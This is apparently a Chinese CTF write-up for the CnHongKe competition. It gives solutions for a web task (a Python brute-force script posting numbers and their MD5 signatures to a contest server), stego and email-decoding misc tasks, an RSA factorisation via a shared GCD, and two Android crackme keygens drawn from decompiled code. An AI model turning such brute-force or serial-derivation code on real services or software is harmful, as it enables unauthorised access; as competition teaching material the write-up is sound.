

CnHongKeCTF By 天璇

Web

爆破

```
import requests
import hashlib
url="http://121.237.133.157:20183/result.php"
headers={
    "Cookie": 'session=c4d984ac-4757-4e06-953f-c9eb0c74193c'
}
for i in range(0,9):
    for j in range(0,9):
        for q in range(0,9):
            for k in range(0,9):
                i=str(i)
                j=str(j)
                q=str(q)
                k=str(k)
                a=str(i+j+q+k)
                t=hashlib.md5(a.encode('utf-8')).hexdigest()
                data={
                    'number':a,
                    'sign':str(t)
                }
                req=requests.post(url=url,headers=headers,data=data)
                print(a)
                if 'Bad' not in req.text:
                    print(a)
                    print(req.text)
```

```
3681
{ "flag" : "CnHongKe{a4b85141cc4341b59d52ff8150c57d7b}"
" }
3682
```

Misc

Picture

Stegsolve改色道，挨个扫描即可 拼接就是flag

What's this

一个邮件发送包，正文部分是base64。

PNG，打开看有第二部分flag

前面有Quoted-Printable 里面GBK2312编码有一段，

最前面还有一小段Base64
有flag的开头。
组合就是flag

Cry

随便选两个Round的第二个数构造一个 $a-b=(y_a-y_b)p$ 再和n求GCD即可得出 p
题目附件有问题

```
a =
6435898081098312069193282341795915540261240598097490572271117490404376893304608
0042424394293120679518728046067575946036643017265414692299801578722298897825979
7601873318719401914356485488605861191556978314550333654623138086790813887939521
0171706016651896401473392042420379329349589828280175940543607255416772431728188
653211
b =
2613152126801235357605926409607555343634108914027445071424442563126602477314913
4188615348940595032696208763302159531208894847549241937842402425015711447105814
2432998359750390514073255663090419344757882820322385621977539795923490230800414
0088085501789332051140882380419734289335488635960244365807950078568282028343410
707589
n =
1823047502224110711150200963814484632646269744479397752216275514039202877563033
3139671570413968300055609624732905017576492318481049765719395178101917259078950
4914784046192129307129621763704747934582645424281744116489843854964155158884502
3649263910365583796875891200112788129801437383349204405444753836877735195947282
8103490523519402499794625509544746224849131358391427803274660727365008334321515
1279139632676715536711335119566267490270633486847000621452143358684630588030669
3664695812747184553927659396270804440649059299841427366723201753050271294716583
2917826753479338315450193449553506830399223036433213690635128087
p = GCD(a - b, n)

e = 65537
c =
1500117531961094679522234392403548753400858470946187822614389990644884385012077
9928420944432465029785752971033689199065870408351794155945446686524700533470562
9911723846677100594518050090083054248056705960389117476457843295327866263243977
7841295772649568342276652219074613218857094699633238278709603252034801591453483
7388916434188111744452280796833969638220556402855250673116813135921244590931278
4057852335810547164104170940164434031622802101047933019555691992645276684875399
6850640197440199518269111054536791512119860564202160347337612440089388158720865
9717458033485422058304753162014771566156332810928502706804188737
q = n // p
print(long_to_bytes(pow(c, inverse(e, (p - 1)*(q - 1)), n)))

...
b'CnHongKe{11b1df76}'
...
```

APK

Toosimple

```
1 int v0; // r0
2 int v1; // r1
3 int i; // r3
4 char v3; // r5
5 int v4; // r3
6 BYTE *result; // r0
7 char v6[24]; // [sp+4h] [bp-2Ch] BYREF
8
9 memcpy(v6, "SCKLS3f;j&Bpa9zl[mWu60", 0x16u);
10 v0 = 11;
11 v1 = 1;
12 for ( i = 0; i != 21; ++i )
13 {
14     v3 = v6[i];
15     if ( i > 10 )
16         v6[i] = v3 - v0--;
17     else
18         v6[i] = v3 + v1++;
19 }
20 v4 = 0;
21 result = string;
22 do
23 {
24     string[v4] = v6[v4];
25     ++v4;
26 }
27 while ( v4 != 22 );
28 string[23] = 0;
29 return result;
30 }
```

直接计算出Key就行

```

#include <stdio.h>
#include <stdlib.h>
int main()
{
    int v0; // r0
    int v1; // r1
    int i; // r3
    char v3; // r5
    int v4; // r3

    char v6[24] = "SCKLS3f;j&Bpa9zl[mWu60";
    v0 = 11;
    v1 = 1;
    for ( i = 0; i != 21; ++i )
    {
        v3 = v6[i];
        if ( i > 10 )
            v6[i] = v3 - v0--;
        else
            v6[i] = v3 + v1++;
    }
    v4 = 0;
    for(v4 = 0;v4 < 22;v4 ++){
        printf("%c",v6[v4]);
    }
    return 0;
}

```

Crackme2

```

@Override // android.view.View$OnClickListener
public void onClick(View arg26) {
    String name3 = ((EditText)HelloAndroid.this.findViewById(0x7f050004)).getText().toString(); // id:txt_name
    int name3length = name3.length();
    String name4 = "";
    String serial_entered = ((EditText)HelloAndroid.this.findViewById(0x7f050006)).getText().toString(); // id:txt_serial
    if(name3length >= 4) {
        goto label_31;
    }

    try {
        Toast.makeText(HelloAndroid.this.getApplicationContext(), "Min 4 chars", 1).show();
        return;
    }
    label_31:
    int i;
    for(i = 0; true; ++i) {
        if(i >= name3.length()) {
            String v12_1 = String.valueOf(Integer.parseInt(name4.substring(0, 5)) ^ 0x68016);
            TelephonyManager mTelephonyMgr = (TelephonyManager)HelloAndroid.this.getSystemService("phone");
            String imei2 = mTelephonyMgr.getDeviceId();
            String simsn = mTelephonyMgr.getSimSerialNumber();
            String temp02 = imei2.substring(0, 6);
            if(String.valueOf(v12_1) + "-" + String.valueOf(((long)(Integer.parseInt(temp02) ^ Integer.parseInt(simsn.substring(0, 6)))) + "-" + temp02.equals(serial_entered)) {
                Toast.makeText(HelloAndroid.this.getApplicationContext(), "God boy", 1).show();
                return;
            }

            Toast.makeText(HelloAndroid.this.getApplicationContext(), "Bad boy ", 1).show();
            return;
        }

        int j = name3.charAt(i);
        name4 = String.valueOf(name4) + j;
    }
}

catch(Exception v22) {
    Toast.makeText(HelloAndroid.this.getApplicationContext(), "Another Error Occurred :", 1).show();
    return;
}
}
}

```

逻辑很简单，用户名test

获取设备ID和SIM序列号取前6位，然后进行一系列异或后串成一个xxx-xxx-xxx格式的序列号作为解锁码

直接使用主办方给出的设备ID和SIM序列号，异或后得到序列号